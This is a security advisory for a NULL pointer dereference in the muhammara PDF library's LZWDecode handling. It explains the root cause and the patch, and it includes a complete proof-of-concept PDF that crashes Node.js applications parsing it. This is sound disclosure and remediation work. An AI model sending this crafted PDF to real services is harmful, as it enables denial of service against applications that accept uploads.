muhammara NULL Pointer Dereference in LZWDecode DecodeParms Handling
Sending a crafted PDF with an LZWDecode filter and an empty DecodeParms dictionary to any app using muhammara crashes the Node.js process instantly, enabling denial of service by anyone who can upload
The problem
In `PDFParser::CreateFilterForStream()` (PDFParser.cpp, line 2107), when a PDF stream uses `/Filter /LZWDecode` and includes a `/DecodeParms` dictionary that omits the optional `EarlyChange` key, `QueryDictionaryObject()` returns NULL. The code then calls `->GetValue()` on that NULL pointer without checking, causing an immediate access violation (exit code 0xC0000005) and crashing the process.
Any Node.js application that accepts untrusted PDF input and calls muhammara stream-reading APIs is vulnerable to remote DoS. No authentication or special permissions are required; a 460-byte PDF is sufficient.
Proof of concept
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
/Contents 4 0 R >>
endobj
4 0 obj
<< /Length 10
/Filter /LZWDecode
/DecodeParms << >>
>>
stream
ABCDEFGHIJ
endstream
endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000266 00000 n
trailer
<< /Size 5 /Root 1 0 R >>
startxref
360
%%EOFThe root cause is an unchecked return value (CWE-476). `QueryDictionaryObject()` legitimately returns NULL when a key is absent, but the code assumed the key always exists and called `earlyObj->GetValue()` unconditionally. The patch (commit a98c077) adds a single null-guard: `if (earlyObj) early = earlyObj->GetValue();`, so a missing `EarlyChange` key now simply leaves `early` at its default value of 1 rather than dereferencing NULL.
The `/DecodeParms << >>` trick (a present but empty dictionary) is the key: `inDecodeParams` is non-NULL so the branch is entered, but the key lookup returns NULL, triggering the crash.
The fix
Upgrade muhammara to 6.0.5 or later. The fix is in commit a98c07780241353334eb65bfca1df025f14be70b, which wraps the `GetValue()` call in a null-check. If upgrading is not immediately possible, reject PDF input at the application layer before passing it to muhammara stream APIs.
Reported by kubakrzempek.